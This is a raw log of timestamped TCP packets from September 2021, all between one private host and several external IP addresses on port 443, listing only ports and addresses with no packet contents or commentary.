Sep 28, 2021 09:54:03.647825003 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.647840977 CEST	443	49950	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:03.833359003 CEST	443	49950	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:03.833527088 CEST	443	49950	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:03.833550930 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.833627939 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.838202000 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.838217974 CEST	443	49950	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:04.029628038 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.029695988 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.029902935 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.031162024 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.031183958 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.078386068 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.081710100 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.081732035 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.081744909 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.196058035 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.196079016 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.215349913 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.215416908 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.215481997 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.215482950 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.215493917 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.216186047 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.216409922 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.216433048 CEST	443	49952	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:04.216455936 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.217082977 CEST	49952	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:04.509829998 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.509881020 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:04.510298967 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.510332108 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.510340929 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:04.554903030 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:04.557499886 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.560491085 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.560508013 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:04.638648987 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.638674021 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:04.769212961 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:04.769339085 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:04.769972086 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.770339966 CEST	49953	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:04.770359993 CEST	443	49953	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:06.232163906 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.232214928 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.232414961 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.239046097 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.239080906 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.328100920 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.333684921 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.333703995 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.333712101 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.344877005 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.344908953 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.520258904 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.520426035 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.523044109 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.525804043 CEST	49962	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:06.525850058 CEST	443	49962	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:06.730827093 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:06.730875015 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:06.731152058 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:06.734513044 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:06.734545946 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:06.782321930 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:06.783503056 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:06.784604073 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:06.784617901 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:06.918230057 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:06.918246031 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:07.048080921 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:07.048700094 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:07.052913904 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:07.052943945 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:07.052958965 CEST	49963	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:07.052978039 CEST	443	49963	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:07.168643951 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.168690920 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.168857098 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.169794083 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.169817924 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.253746033 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.254374027 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.254393101 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.254403114 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.255960941 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.255978107 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.437067032 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.437242031 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.437264919 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.437289953 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:07.437412977 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.438139915 CEST	49964	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:07.438163996 CEST	443	49964	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:08.946260929 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:08.946309090 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:08.946424007 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:08.946763039 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:08.946783066 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:08.992746115 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:08.993113041 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:09.009103060 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:09.009129047 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:09.011424065 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:09.011446953 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:09.133932114 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:09.137670994 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:09.137703896 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:09.137727976 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:09.137839079 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:09.138201952 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:09.165086031 CEST	49966	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:09.165124893 CEST	443	49966	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:09.402556896 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.402604103 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.402728081 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.403523922 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.403548002 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.451452971 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.452733994 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.454052925 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.454058886 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.463041067 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.463047981 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.494034052 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.494091988 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.494147062 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.494210005 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.494277000 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.495229959 CEST	49967	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.495244026 CEST	443	49967	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.667349100 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.667674065 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.668003082 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.668241978 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.668256044 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.720602989 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.723397017 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.724121094 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.724136114 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.833400011 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.833420992 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.852622032 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.852673054 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.852699041 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.852713108 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.852720022 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:09.852727890 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.852761984 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.857897997 CEST	49968	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:09.857918978 CEST	443	49968	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:10.005990982 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.006042004 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.006179094 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.011569977 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.011593103 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.094712019 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.095803022 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.100788116 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.100810051 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.103001118 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.103013992 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.287223101 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.287296057 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.287318945 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.287349939 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.287400961 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.289457083 CEST	49969	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.289474964 CEST	443	49969	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.406095982 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.406137943 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.406306982 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.407002926 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.407018900 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.487225056 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.488392115 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.496655941 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.496674061 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.496689081 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.496697903 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.686932087 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.687215090 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.687299013 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.689652920 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.692719936 CEST	49970	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:10.692754030 CEST	443	49970	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:10.988090992 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:10.988162994 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:10.988356113 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:10.990816116 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:10.990844011 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:11.051944971 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:11.052216053 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:11.053915024 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:11.053929090 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:11.128067970 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:11.128110886 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:11.128170013 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:11.128182888 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:11.128212929 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:11.128220081 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:11.246486902 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.246539116 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:11.252326965 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.252383947 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.252396107 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:11.337838888 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:11.339504957 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.341418982 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.341444016 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:11.343328953 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.343353987 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:11.534657001 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:11.534832954 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:11.535111904 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.535303116 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.538336039 CEST	49982	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:11.538372993 CEST	443	49982	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:12.323260069 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.323316097 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.323560953 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.324155092 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.324172974 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.376316071 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.376574039 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.378621101 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.378637075 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.381020069 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.381051064 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.420691013 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.420742035 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.420800924 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.422929049 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.422961950 CEST	49984	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.422979116 CEST	443	49984	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.943483114 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.943523884 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.943943024 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.943969965 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.943977118 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.995165110 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.995281935 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.997294903 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.997312069 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:12.999145031 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:12.999155998 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:13.038676023 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:13.038737059 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:13.038778067 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:13.038798094 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:13.038815022 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:13.038827896 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:13.039133072 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:13.040433884 CEST	49986	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:13.040460110 CEST	443	49986	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:13.196954966 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.196991920 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.197189093 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.197424889 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.197433949 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.248217106 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.248827934 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.249098063 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.249106884 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.250709057 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.250715971 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.400513887 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.400608063 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.401650906 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.401905060 CEST	49988	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.401921988 CEST	443	49988	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.586256981 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.586307049 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.586494923 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.586980104 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.587002039 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.635750055 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.636733055 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.638258934 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.638274908 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.753024101 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.753042936 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.873414040 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.873497963 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:13.873852015 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.891187906 CEST	49989	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:13.891217947 CEST	443	49989	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:14.151030064 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:14.151138067 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:14.151304960 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.151319027 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.177834034 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.177860975 CEST	443	49981	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:14.177980900 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.178158998 CEST	49981	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.905560017 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.905603886 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:14.906060934 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.927539110 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:14.927575111 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:14.992923975 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:14.997764111 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:15.185545921 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:15.185574055 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:15.238043070 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:15.238079071 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:15.238132000 CEST	49991	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:15.238141060 CEST	443	49991	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:15.672064066 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:15.672101021 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:15.672458887 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:15.672945023 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:15.672966957 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:15.720613003 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:15.720772982 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:15.721384048 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:15.721405029 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:15.896147966 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:15.896174908 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.018845081 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.018924952 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.018948078 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.018960953 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.019026041 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.019750118 CEST	50001	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.019778967 CEST	443	50001	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.591907978 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.591955900 CEST	443	50004	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:16.592176914 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.596518040 CEST	50004	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:16.596549988 CEST	443	50004	162.219.225.118	192.168.2.3
